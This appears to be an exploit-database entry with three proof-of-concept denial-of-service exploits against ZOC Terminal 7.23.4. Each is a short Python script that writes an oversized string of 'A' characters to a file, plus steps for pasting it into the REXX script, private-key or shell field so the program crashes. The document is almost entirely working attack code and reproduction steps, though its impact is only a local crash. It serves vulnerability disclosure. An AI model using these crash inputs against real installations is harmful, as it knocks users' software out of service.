ZOC Terminal 7.23.4 Denial Of Service

`#Exploit Title: ZOC Terminal v7.23.4 - 'Script' Denial of Service (PoC)  
#Discovery by: Victor Mondragón  
#Discovery Date: 2019-05-15  
#Vendor Homepage: https://www.emtec.com  
#Software Link: http://www.emtec.com/downloads/zoc/zoc7234_x64.exe  
#Tested Version: 7.23.4  
#Tested on: Windows 7 Service Pack 1 x64  
  
#Steps to produce the crash:  
#1.- Run python code: ZOC_Terminal_scr.py and it will create a new file "exp.zrx"  
#2.- Open ZOC Terminal  
#3.- Select Script > Start REXX Script...   
#4.- Select "exp.zrx" file and click "open"  
#5.- Crashed  
  
cod = "\x41" * 20000  
  
f = open('exp.zrx', 'w')  
f.write(cod)  
f.close()  
  
----  
  
#Exploit Title: ZOC Terminal v7.23.4 - 'Private key file' Denial of Service (PoC)  
#Discovery by: Victor Mondragón  
#Discovery Date: 2019-05-15  
#Vendor Homepage: https://www.emtec.com  
#Software Link: http://www.emtec.com/downloads/zoc/zoc7234_x64.exe  
#Tested Version: 7.23.4  
#Tested on: Windows 7 Service Pack 1 x64  
  
#Steps to produce the crash:  
#1.- Run python code: ZOC_Terminal_pkf.py  
#2.- Open zoc_pkf.txt and copy content to clipboard  
#3.- Open ZOC Terminal  
#4.- Select File > Create SSH Key Files...   
#5.- Select "Private key file:" field erease and Paste ClipBoard   
#6.- Click on "Create public/private key files..."  
#7.- Crashed  
  
cod = "\x41" * 2000  
  
f = open('zoc_pkf.txt', 'w')  
f.write(cod)  
f.close()  
  
----  
  
#Exploit Title: ZOC Terminal v7.23.4 - 'Shell' Denial of Service (PoC)  
#Discovery by: Victor Mondragón  
#Discovery Date: 2019-05-15  
#Vendor Homepage: https://www.emtec.com  
#Software Link: http://www.emtec.com/downloads/zoc/zoc7234_x64.exe  
#Tested Version: 7.23.4  
#Tested on: Windows 7 Service Pack 1 x64  
  
#Steps to produce the crash:  
#1.- Run python code: ZOC_Terminal_sh.py  
#2.- Open zoc_sh.txt and copy content to clipboard  
#3.- Open ZOC Terminal  
#4.- Select Options > Program Settings... > Special Files  
#5.- Select "Shell" field erease the content and Paste ClipBoard   
#6.- Click on "Save"  
#7.- Select View > "Command Shell" and select "ok"  
#8.- Crashed  
  
cod = "\x41" * 270  
  
f = open('zoc_sh.txt', 'w')  
f.write(cod)  
f.close()  
  
`